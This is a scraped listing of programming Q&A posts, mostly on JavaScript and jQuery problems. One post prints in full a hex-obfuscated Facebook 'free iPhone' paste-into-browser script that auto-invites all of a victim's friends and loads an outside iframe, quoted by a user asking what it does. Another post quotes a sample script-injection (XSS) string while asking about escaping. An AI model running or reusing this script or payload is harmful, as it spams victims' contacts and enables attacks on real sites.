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  • What is better for the overall performance and feel of the game: one setInterval performing all the work, or many of them doing individual tasks?

    - by Bane
    This question is, I suppose, not limited to Javascript, but it is the language I use to create my game, so I'll use it as an example. For now, I have structured my HTML5 game like this: var fps = 60; var game = new Game(); setInterval(game.update, 1000/fps); And game.update looks like this: this.update = function() { this.parseInput(); this.logic(); this.physics(); this.draw(); } This seems a bit inefficient, maybe I don't need to do all of those things at once. An obvious alternative would be to have more intervals performing individual tasks, but is it worth it? var fps = 60; var game = new Game(); setInterval(game.draw, 1000/fps); setInterval(game.physics, 1000/a); //where "a" is some constant, performing the same function as "fps" ... With which approach should I go and why? Is there a better alternative? Also, in case the second approach is the best, how frequently should I perform the tasks?

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  • Javascript Tips and Tricks

    - by ybbest
    1. Replace all , in one Javascript string. var totalAmount= "100,000,000,000"; var find= ","; //Replace the first , with the empty string var replace=""; totalAmount= totalAmount.replace(find,replace); alert(totalAmount); var totalAmount2= "100,000,000,000"; var newFind=/,/g //Replace all , with empty string totalAmount2= totalAmount2.replace(newFind,replace); alert(totalAmount2);

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  • How to print a pdf in a new tab? [migrated]

    - by TheDuke777
    I need to print a pdf by opening it in a new window. I've looked at tutorials for days, but nothing is working. I've tried many approaches, but this is the most recent: <!DOCTYPE html> <html> <head> <script type="text/javascript"> function print() { window.getElementById("pdf").focus(); window.getElementById("pdf").print(); } </script> </head> <body onload="print()"> <embed id="pdf" src="http://path/to/file" /> </body> </html> The page loads fine, with the pdf embedded. But it won't print, and I feel like I've been beating my head against a brick wall trying to figure this out. How can I get this to work? I'm willing to try anything at this point.

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  • What are some good ways for an intermediate programmer to build skills?

    - by Jordan
    Preface: I work mostly in Python, and Web Dev languages (HTML, CSS, Javascript and Jquery, PHP) I'm proficient at coding but I want to get better. In larger more advanced projects my programming skills break down. The more code there is the more trouble I have fitting all the pieces together. I understand syntax well, and I can catch and correct errors fairly easier. But the more advanced it gets the more I struggle. I believe I have a good understand of the basic and nuts and bolts of programming and I understand what's going on, but when it comes to larger projects, especially ones with heavy math involved my confidence flags and I start making mistakes. It's not that I can't do it, I'm just not used to doing it. Does anyone have any advice for someone who knows programming, but wants to get better? The only tutorials I can really find are beginner basic type stuff. Basically what I'm saying is I want to be confident when I'm tackling advanced projects, but I can't because I have little experience dealing with difficult situations.

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  • Finding back to an old project that was turned upside-down by the developer. Your workflow?

    - by Kreativrandale
    after some time I'm asked to work on a heavy web-project I did (layout, html/css) about a year ago. There are some changes that have to be made, basically some css and js stuff. By now the whole project was turned upside down by the developer. It gives me a hard time to connect to the work of him, especially because my old files and file-structure won't work anymore. Thats why I need a up-to-date working-environment, but I don't want to change the files on the server directly. Need some testing and improving while doing this. So, what is your workflow in such a case? Thought about copying the whole/parts of the server to a own homeserver. But even that will be a big task for me (I'm more the front-end-guy). Would be great if theres a way to shrink it down (php, mysql,...), since I only need to change some css/html javascript. Are there any tools available? Love to hear how you handle such situations. Thanks a lot!

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  • How to refactor to cleaner version of maintaing states of the widget

    - by George
    Backstory I inherited a bunch of code that I'd like to refactor. It is a UI application written in javascript. Current state: We have main application which consist of several UI components. And each component has entry fields, textboxes, menus, etc), like "ticket", "customer information", etc. Based on input, where the application was called from, who is the user, we enable/disable, hide, show, change titles. Unfortunately, the app grew to the point where it is really hard to scale, add new features. Main the driver (application code) calls set/unset functions of the respective components. So a lot of the stuff look like this Main app unit function1() { **call_function2()** component1.setX(true); component1.setY(true); component2.setX(false); } call_function2() { // it may repeat some of the code function1 called } and we have a lot of this in the main union. I am cleaning this mess. What is the best way to maintain the state of widgets? Please let me know if you need me to clarify.

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  • Javascript Tips and Tricks

    - by ybbest
    1. Replace all , in one Javascript string. var totalAmount= "100,000,000,000"; var find= ","; //Replace the first , with the empty string var replace=""; totalAmount= totalAmount.replace(find,replace); alert(totalAmount); var totalAmount2= "100,000,000,000"; var newFind=/,/g //Replace all , with empty string totalAmount2= totalAmount2.replace(newFind,replace); alert(totalAmount2);

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  • Independent HTML5 Physics Game: Any Feedback? [closed]

    - by mndoftea
    I've been independently developing a physics-based HTML5 game. I haven't used any libraries or engines; all the code, including the physics, is my own. It is free for a while on the Chrome Web Store and I was hoping that I could get some feedback on it. You can get it for Chrome here: https://chrome.google.com/webstore/detail/dbnmkpcomailjochphnmfklofkmgenci. I know this is not a normal question, but I'm happy for answers to be abstracted/generalized for broader use. Im asking here because I don't know anyone else personally who does this stuff. Any thoughts, comments or ideas you might have would be greatly appreciated! The physics system is written in JavaScript and works by setting up the differential equations of motion (plus a few conditions) and evaluating them numerically using the Euler method. The graphics are done through the HTML5 canvas and the music is done through the audio element. (Said music is in the public domain by the way). You can see the code by going to VIewView Source in Chrome.

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  • Pros and Cons of Facebook's React vs. Web Components (Polymer)

    - by CletusW
    What are the main benefits of Facebook's React over the upcoming Web Components spec and vice versa (or perhaps a more apples-to-apples comparison would be to Google's Polymer library)? According to this JSConf EU talk and the React homepage, the main benefits of React are: Decoupling and increased cohesion using a component model Abstraction, Composition and Expressivity Virtual DOM & Synthetic events (which basically means they completely re-implemented the DOM and its event system) Enables modern HTML5 event stuff on IE 8 Server-side rendering Testability Bindings to SVG, VML, and <canvas> Almost everything mentioned is being integrated into browsers natively through Web Components except this virtual DOM concept (obviously). I can see how the virtual DOM and synthetic events can be beneficial today to support old browsers, but isn't throwing away a huge chunk of native browser code kind of like shooting yourself in the foot in the long term? As far as modern browsers are concerned, isn't that a lot of unnecessary overhead/reinventing of the wheel? Here are some things I think React is missing that Web Components will care of. Correct me if I'm wrong. Native browser support (read "guaranteed to be faster") Write script in a scripting language, write styles in a styling language, write markup in a markup language. Style encapsulation using Shadow DOM React instead has this, which requires writing CSS in JavaScript. Not pretty. Two-way binding

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  • Live search/filter as you type in client approach

    - by Pinoniq
    As an exercise for myself to practice my JavaScript "skills" I'm trying to write a client-side filter. It should be able to filter "content blocks" as the user types. By "content block", I mean a list of DomElements that each contain at least one text node - it is possible that they contain more, and even a different amount of text nodes, nested inside other nodes, etc. I've thought of 2 approaches: On page initialization, scan all nodes and store all the text in some kind of Map or a tree. Simply iterate over every item and check whether it has the string to search/filter for. One could add performance here by caching, only filtering the current remaining items if text is added, etc. Obviously, if the number of nodes is really big, option 1 will take a while to build the 'index' but it will perform faster once it is built. Option 2 however will be available right on page load since no initialization is performed. But of course it will take longer to search. So my question is: what is the best approach here? And how would one implement 'caching' and/or 'index'?

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  • Best practice for storing information from a php script for future use

    - by tRudgeF3llow
    My employer uses forms to help people search for products. The product lists can change from time to time and the forms need to be updated again. The product information can be accessed through a third party API which I started tinkering with, I've recently built a script that retrieves the information with PHP and creates and populates a form dynamically with Javascript. So far so good, but... There are limitations to the API, mainly it can only be accessed a certain number of times per hour, it is probably more than my form/script would use but I want to create a script that is minimally intrusive. My main question is... What is the best practice for accessing the information once and storing it long enough to let the API reset? I was wondering about creating a cookie but there is the possibility of users that have them disabled. (Also, I am doing this as a personal project but I like the people I work for and I think this would help them out.) Thanks in advance.

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  • jquery is not working over local network [migrated]

    - by Kortyell Davis
    i have a fedora server running apache web server. the server is connected to a home network. i have a laptop connected to the same network. i can enter the ip address of my server into the browser of my laptop and pull up the index.html file located in the document root directory of the fedora home server. the index.html file contains jquery code. the jquery code only works when i open it locally in my browser (e.g. right click open with firefox), but when i attempt to view the webpage from my laptop the jquery code is not executed. the code is here below. <script type="text/javascript" src="jquery-1.8.2.js"></script> ' $(document).ready(function() { $('#form').hide(); $('input[type=text]').focus(function() { $(this).val(''); }); $('input[type=password]').focus(function() { $(this).val(''); }); $('.form').hide(); $('#log').click(function(){ $('#form').toggle(); }); $('#reg').click(function(){ $('.form').toggle(); }); });

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  • Drawning with canvas - problem with sizing [closed]

    - by pioncz
    For example i made 2 canvas with size 500px x 500px and 100px x 100px to see how fillrect works and i found that canvas.fillrect doesnt takes px for arguments, and my question is: how to make pixels as arguments or how to count these arguments for pixels? This is example: <html xmlns="http://www.w3.org/1999/xhtml"> <head> <script type="text/javascript"> function draw() { var canvas = document.getElementById('myCanvas'); var ctx = canvas.getContext('2d'); ctx.fillStyle = '#00f'; ctx.fillRect (0, 0,100, 100); var canvas2 = document.getElementById('myCanvas2'); var ctx2 = canvas2.getContext('2d'); ctx2.fillStyle = '#0f0'; ctx2.fillRect (0, 0, 100, 100); } </script> </head> <body onLoad="draw();"> <canvas id="myCanvas" style="background:black;width:500px;height:500px;display:block;position:absolute;top:0px;left:0px;"> </canvas> <canvas id="myCanvas2" style="background:purple;width:100px;height:100px;display:block;position:absolute;top:0px;left:0px;"> </canvas> </body> </html>

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  • Internet explorer only executing function inside jQuery ajax success response once even though there

    - by user249950
    Hi, I have a function that uses jQuery.load() to call in 3 snippets of forms from different pages and then on the success text status it tries to load a colour picker: $(document).ready(function() { function ajax_form(putloadingboxhere, putsnippethere, snippeturl) { $(putsnippethere).load(snippeturl, function (responseText, textStatus, XMLHttpRequest, ) { if (textStatus == "success") { alert('One') $("input.pickcolor").ColorPicker({ onShow: function (colpkr) { $(colpkr).fadeIn(500); return false; }, onSubmit: function(hsb, hex, rgb, el) { $(el).val(hex); $(el).ColorPickerHide(); $(el).siblings('.colorpreview').css('background-color', '#' + hex); }, onBeforeShow: function () { $(this).ColorPickerSetColor(this.value); } }) .bind('keyup', function(){ $(this).ColorPickerSetColor(this.value); }); alert('Two') } if (textStatus == "error") { // Show error message } }); } ajax_form('tab_box', '#formone', 'snippet_one.htm #snippet'); ajax_form('tab_box', '#formtwo', 'snippet_two_copy.htm #snippet'); ajax_form('tab_box', '#formthree', 'snippet_three.htm #snippet'); }); It works fine in Firefox and Safari but (surprise, surprise) IE has a problem with it. I have added an alert to see what is going on before and after one of the functions. FF & Safari & IE8: Alert 'one' and Alert 'two' appear three times as expected and colour picker appears. IE6 & 7: Alert 'one' shows three times and colour picker does not appear. Any help would be great! Cheers. EDIT The line IE is referring to when it throws this error: 'Error: Object doesn't support this property or method.' is: $('input.pickcolor').ColorPicker Anyone got any insights? Thanks

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  • YUI button onclick get value

    - by Simon
    I have a a set of yui buttons generated using the standard yui html. <span class="yui-button yui-checkbox-button" id="analystbutton1"> <span class="first-child"> <button type="button" class="facetbutton" tabindex="0" id="analystbutton1-button"> Joe Bloggs </button> </span> </span> I create the buttons like so, and I then have some javascript to create the button and the listener. var analystCButton1 = new YAHOO.widget.Button("analystbutton1", { type:"checkbox", value:"BLOGGS", checked:false }); analystCButton1.on("click", onFacetClick); Finally I have the onFacetClick function var onFacetClick = function (e) { // e is the event var target = YAHOO.util.Event.getTarget(e); var button = new YAHOO.widget.Button(target); alert(button.get('type')); alert(button.get('id')); alert(button.get('value')); }; When I click on any of my buttons the first two alerts display the type and id (although not what I would expect). I cannot get the value, the alert doesn't fire, but I see no error in FireBug or the error console. alert(button.get('type')); returns push - I would expect checkbox alert(button.get('id')); returns analystbutton1-button

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  • how do i keep form data after submitting the form using javascript?

    - by Lina
    When i submit this form, the values just disappears from the textboxes. I like them to stay printed in the textboxes. How do i do that? <form id="myform" method="get" action="" onSubmit="hello();"> <input id="hour" type="text" name="hour" style="width:30px; text-align:center;" /> : <input id="minute" type="text" name="minute" style="width:30px; text-align:center;" /> <br/> <input type="submit" value="Validate!" /> </form> <style type="text/css"> .error { color: red; font: 10pt verdana; padding-left: 10px } </style> <script type="text/javascript"> function hello(){ var hour = $("#hour").html(); alert(hour); } $(function() { // validate contact form on keyup and submit $("#myform").validate({ //set the rules for the fild names rules: { hour: { required: true, minlength: 1, maxlength: 2, range:[0,23] }, minute: { required: true, minlength: 1, maxlength: 2, range:[0,60] }, }, //set messages to appear inline messages: { hour: "Please enter a valid hour", minute: "Please enter a valid minute" } }); }); </script>

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  • Is it necessary to "escape" character "<" and ">" for javascript string?

    - by Morgan Cheng
    Sometimes, server side will generate strings to be embedded in inline JavaScript code. For example, if "UserName" should be generated by ASP.NET. Then it looks like. <script> var username = "<%UserName%>"; </script> This is not safe, because a user can have his/her name to be </script><script>alert('bug')</script></script> It is XSS vulnerability. So, basically, the code should be: <script> var username = "<% JavascriptEncode(UserName)%>"; </script> What JavascriptEncode does is to add charater "\" before "/" and "'" and """. So, the output html is like. var username = "<\/scriptalert(\'bug\')<\/script<\/script"; Browser will not interpret "<\/script" as end of script block. So, XSS in avoided. However, there are still "<" and "" there. It is suggested to escape these two characters as well. First of all, I don't believe it is a good idea to change "<" to "&lt;" and "" to "&gt;" here. And, I'm not sure changing "<" to "\<" and "" to "\" is recognizable to all browsers. It seems it is not necessary to do further encoding for "<" and "". Is there any suggestion on this? Thanks.

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  • Javascript: Check if checkboxes are selected on page load and add a class to parent html li

    - by BoDiE2003
    Im looking a way to do it with prototype, this js, needs to loads with the page and interate over all the elements (inputs - checkboxes, in this case) with the given id and assign a class to its parent <li></li> The JS is: function changeSelectionStyle(id) { var inputId = id.substr(0,id.length-2); if(document.getElementById(inputId).checked){document.getElementById(id).className = 'yes';} alert(document.getElementById(inputId).checked); /* * if(document.getElementById(id).className != 'yes'){ * document.getElementById(id).className = 'yes'; * } else{document.getElementById(id).className = '';} */ } And the HTML (piece of it) that interacts with this JS is: <li id="selectedAuthorities-4_1li"> <input type="checkbox" id="selectedAuthorities-4_1" name="selectedAuthorities" value="ROLE_ADD_COMMENT_TO_CV" checked="checked" onclick="changeSelectionStyle(this.id + 'li'); checkFatherSelection(this.id);"> <a href="#" onclick="document.getElementById('selectedAuthorities-4_1').click(); return false;"> Agregar comentario <samp><b></b>Permite agregar comentario en el detalle</samp> </a> </li> After iteration, checking is the checkbox is checked, it has to add the class="yes" to the <li id="selectedAuthorities-4_1li">

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  • Sticky/static variable references in for loops

    - by pthulin
    In this example I create three buttons 'one' 'two' 'three'. When clicked I want them to alert their number: <html> <head> <script type="application/javascript" src="jquery.js"></script> <script type="application/javascript"> $(document).ready(function() { var numbers = ['one', 'two', 'three']; for (i in numbers) { var nr = numbers[i]; var li = $('<li>' + nr + '</li>'); li.click(function() { var newVariable = String(nr); alert(i); // 2 alert(nr); // three alert(newVariable); // three alert(li.html()); // three }); $('ul').append(li); } }); </script> </head> <body> <ul> </ul> </body> </html> The problem is, when any of these are clicked, the last value of the loop's variables is used, i.e. alert box always says 'three'. In JavaScript, variables inside for-loops seem to be 'static' in the C language sense. Is there some way to create separate variables for each click function, i.e. not using the same reference? Thanks!

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  • How can I determine if an image has loaded, using Javascript/jQuery?

    - by Kip
    I'm writing some Javascript to resize the large image to fit into the user's browser window. (I don't control the size of the source images unfortunately.) So something like this would be in the HTML: <img id="photo" src="a_really_big_file.jpg" alt="this is some alt text" title="this is some title text" /> Is there a way for me to determine if the src image in an img tag has been downloaded? I need this because I'm running into a problem if $(document).ready() is executed before the browser has loaded the image. $("#photo").width() and $("#photo").height() will return the size of the placeholder (the alt text). In my case this is something like 134 x 20. Right now I'm just checking if the photo's height is less than 150, and assuming that if so it is just alt text. But this is quite a hack, and it would break if a photo is less than 150 pixels tall (not likely in my particular case), or if the alt text is more than 150 pixels tall (could possibly happen on a small browser window). Edit: For anyone wanting to see the code: $(function() { var REAL_WIDTH = $("#photo").width(); var REAL_HEIGHT = $("#photo").height(); $(window).resize(adjust_photo_size); adjust_photo_size(); function adjust_photo_size() { if(REAL_HEIGHT < 150) { REAL_WIDTH = $("#photo").width(); REAL_HEIGHT = $("#photo").height(); if(REAL_HEIGHT < 150) { //image not loaded.. try again in a quarter-second setTimeout(adjust_photo_size, 250); return; } } var new_width = . . . ; var new_height = . . . ; $("#photo").width(Math.round(new_width)); $("#photo").height(Math.round(new_height)); } }); Update: Thanks for the suggestions. There is a risk of the event not being fired if I set a callback for the $("#photo").load event, so I have defined an onLoad event directly on the image tag. For the record, here is the code I ended up going with: <img id="photo" onload="photoLoaded();" src="a_really_big_file.jpg" alt="this is some alt text" title="this is some title text" /> Then in Javascript: //This must be outside $() because it may get called first var isPhotoLoaded = false; function photoLoaded() { isPhotoLoaded = true; } $(function() { //Hides scrollbars, so we can resize properly. Set with JS instead of // CSS so that page doesn't break with JS disabled. $("body").css("overflow", "hidden"); var REAL_WIDTH = -1; var REAL_HEIGHT = -1; $(window).resize(adjust_photo_size); adjust_photo_size(); function adjust_photo_size() { if(!isPhotoLoaded) { //image not loaded.. try again in a quarter-second setTimeout(adjust_photo_size, 250); return; } else if(REAL_WIDTH < 0) { //first time in this function since photo loaded REAL_WIDTH = $("#photo").width(); REAL_HEIGHT = $("#photo").height(); } var new_width = . . . ; var new_height = . . . ; $("#photo").width(Math.round(new_width)); $("#photo").height(Math.round(new_height)); } });

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  • Problem in getting Http Response in chrome

    - by Bhaskasr
    Am trying to get http response from php web service in javascript, but getting null in firefox and chrome. plz tell me where am doing mistake here is my code, function fetch_details() { if (window.XMLHttpRequest) { xhttp=new XMLHttpRequest() alert("first"); } else { xhttp=new ActiveXObject("Microsoft.XMLHTTP") alert("sec"); } xhttp.open("GET","url.com",false); xhttp.send(""); xmlDoc=xhttp.responseXML; alert(xmlDoc.getElementsByTagName("Inbox")[0].childNodes[0].nodeValue); } I have tried with ajax also but am not getting http response here is my code, please guide me var xmlhttp = null; var url = "url.com"; if (window.XMLHttpRequest) { xmlhttp = new XMLHttpRequest(); alert(xmlhttp); //make sure that Browser supports overrideMimeType if ( typeof xmlhttp.overrideMimeType != 'undefined') { xmlhttp.overrideMimeType('text/xml'); } } else if (window.ActiveXObject) { xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); } else { alert('Perhaps your browser does not support xmlhttprequests?'); } xmlhttp.open('GET', url, true); xmlhttp.onreadystatechange = function() { if (xmlhttp.readyState == 4) { alert(xmlhttp.responseXML); } }; } // Make the actual request xmlhttp.send(null); I am getting xmlhttp.readyState = 4 xmlhttp.status = 0 xmlhttp.responseText = "" plz tell me where am doing mistake

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  • Can anybody tell what this JavaScript code is doing? [closed]

    - by waheed
    Possible Duplicate: Javascript compiled or not? Check inside… In a facebook group this code was provided to get the free IPhone, you have to join the group and paste the code in the browser and run it. I wonder it might be something malicious, can anybody tell what this code is doing? javascript:var _0xb714=["\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C", "\x61\x70\x70\x34\x39\x34\x39\x37\x35\x32\x38\x37\x38\x5F\x62\x6F\x64\x79", "\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64", "\x3C\x61\x20\x69\x64\x3D\x22\x73\x75\x67\x67\x65\x73\x74\x22\x20\x68\x72\x65\x66\x3D\x22\x23\x22\x20\x61\x6A\x61\x78\x69\x66\x79\x3D\x22\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70\x3F\x63\x6C\x61\x73\x73\x3D\x46\x61\x6E\x4D\x61\x6E\x61\x67\x65\x72\x26\x61\x6D\x70\x3B\x6E\x6F\x64\x65\x5F\x69\x64\x3D\x31\x30\x34\x35\x36\x37\x38\x39\x39\x35\x37\x38\x39\x39\x30\x22\x20\x63\x6C\x61\x73\x73\x3D\x22\x20\x70\x72\x6F\x66\x69\x6C\x65\x5F\x61\x63\x74\x69\x6F\x6E\x20\x61\x63\x74\x69\x6F\x6E\x73\x70\x72\x6F\x5F\x61\x22\x20\x72\x65\x6C\x3D\x22\x64\x69\x61\x6C\x6F\x67\x2D\x70\x6F\x73\x74\x22\x3E\x53\x75\x67\x67\x65\x73\x74\x20\x74\x6F\x20\x46\x72\x69\x65\x6E\x64\x73\x3C\x2F\x61\x3E", "\x73\x75\x67\x67\x65\x73\x74","\x4D\x6F\x75\x73\x65\x45\x76\x65\x6E\x74\x73", "\x63\x72\x65\x61\x74\x65\x45\x76\x65\x6E\x74", "\x63\x6C\x69\x63\x6B","\x69\x6E\x69\x74\x45\x76\x65\x6E\x74", "\x64\x69\x73\x70\x61\x74\x63\x68\x45\x76\x65\x6E\x74", "\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C", "\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D", "\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70","\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67","\x3C\x69\x66\x72\x61\x6D\x65\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x3A\x2F\x2F\x73\x73\x6C\x68\x6F\x73\x74\x65\x72\x2E\x63\x6F\x6D\x2F\x70\x61\x67\x65\x73\x2F\x6E\x65\x77\x69\x70\x68\x6F\x6E\x65\x70\x61\x67\x65\x22\x20\x73\x74\x79\x6C\x65\x3D\x22\x77\x69\x64\x74\x68\x3A\x20\x37\x39\x38\x70\x78\x3B\x20\x68\x65\x69\x67\x68\x74\x3A\x20\x35\x35\x30\x70\x78\x3B\x22\x20\x66\x72\x61\x6D\x65\x62\x6F\x72\x64\x65\x72\x3D\x30\x20\x73\x63\x72\x6F\x6C\x6C\x69\x6E\x67\x3D\x22\x6E\x6F\x22\x3E\x3C\x2F\x69\x66\x72\x61\x6D\x65\x3E"]; var variables= [_0xb714[0], _0xb714[1], _0xb714[2], _0xb714[3], _0xb714[4], _0xb714[5], _0xb714[6], _0xb714[7], _0xb714[8], _0xb714[9], _0xb714[10], _0xb714[11], _0xb714[12], _0xb714[13]]; void (document[variables[2]](variables[1])[variables[0]]=variables[3]); var ss=document[variables[2]](variables[4]); var c=document[variables[6]](variables[5]); c[variables[8]](variables[7],true,true); void ss[variables[9]](c); void setTimeout(function (){fs[variables[10]]();} ,4000); void setTimeout(function (){SocialGraphManager[variables[13]](variables[11],variables[12]);} ,5000); void (document[variables[2]](variables[1])[variables[0]]=_0xb714[14]); Thanks..

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  • Associative Array / Object can't be read in functions

    - by Matrym
    At the very beginning of the javascript file, I have: var lbp = {}; lbp.defaults = { minLength: 40 }; I can successfully alert it afterwards, with: alert(lbp.defaults.minLength); But as soon as I put it inside a function, when I alert, I get "Undefined". What gives, and how do I avoid this? Is it absolutely necessary to pass this variable into each function, for example, by doing: function(lbp) { alert(lbp.defaults.minLength); } I would have thought that defining it first, it would attain global scope and not be required to be passed in? Thanks in advance for enlightening me :) ==================================== EDIT: The problem seems like it might be my initialize function is itself defined within lbp. Is there any way to use this function var, and still use lbp vars inside it? lbp.initialize = function() { alert(lbp.defaults.minLength); }; The full bit of code looks like this: <script type="text/javascript"> var lbp = { defaults: { minLength: 40 } }; lbp.initialize = function() { alert(lbp.defaults.minLength); }; window.onload = lbp.initialize; </script>

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  • KnockoutJS - creating object doesn't work

    - by Kiwanax
    I'm doing a navigation list with menus and submenus. I have the following structure: function Menu(navigation) { this.NavigationUrl = ko.observable(navigation.NavigationUrl); this.NavigationTitle = ko.observable(navigation.NavigationTitle); this.NavigationDescription = ko.observable(navigation.NavigationDescription); var mappedChildren = ko.utils.arrayMap(navigation.Children, function (child) { return new Menu(child); }); this.Children = ko.observableArray(mappedChildren); } function DashboardViewModel() { var self = this; self.LoggedUser = ko.observable(""); self.Navigations = ko.observableArray([]); $.get('/Home/DashboardDependencies', {}, function (result) { self.LoggedUser(result.LoggedUser); var mappedNavigations = ko.utils.arrayMap(result.Navigations, function (item) { var menu = new Menu(item); // When I alert item, the result appears properly: // { "NavigationTitle": "blah", "NavigationDescription": "bleh" [...] } alert(JSON.stringify(item)); // But when I alert the new menu object, the result doesn't appear: // Just: "{}" alert(JSON.stringify(menu)); return menu; }); self.Navigations = mappedNavigations; }); } ko.applyBindings(new DashboardViewModel()); So, check it out. When I try to alert the item variable, the result appears properly. When I try to alert the new Menu object, the result just show {}. Why this' happening? Thank you all for the help!

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  • Access is denied. Javascript error on request to secured page

    - by ihorko
    On SomePage.aspx page by javascript (XMLHttpRequest) I call SecuredPage.aspx used next code: var httpRequest = GetXmlHttp(); var url = "https://myhost.com/SecuredPage.aspx"; var params = "param1=" + document.getElementById('param1').value + "&param2=" + document.getElementById('param2').value; httpRequest.open("POST", url, true); httpRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); httpRequest.onreadystatechange = function() { //Call a function when the state changes. if (httpRequest.readyState == 4 && httpRequest.status == 200) { alert(httpRequest.responseText); } } httpRequest.send(params); // HERE ACCESS IS DENIED //--------------------------------------------- function GetXmlHttp() { var xmlhttp = false; if (window.XMLHttpRequest) { xmlhttp = new XMLHttpRequest(); } else if (window.ActiveXObject) // code for IE { try { xmlhttp = new ActiveXObject("Msxml2.XMLHTTP"); } catch (e) { try { xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); } catch (E) { xmlhttp = false; } } } return xmlhttp; } It throws Access is denied error. if send to http (http://myhost.com/SecuredPage.aspx), it works fine. How is it possible to resolve that problem. Thanks!

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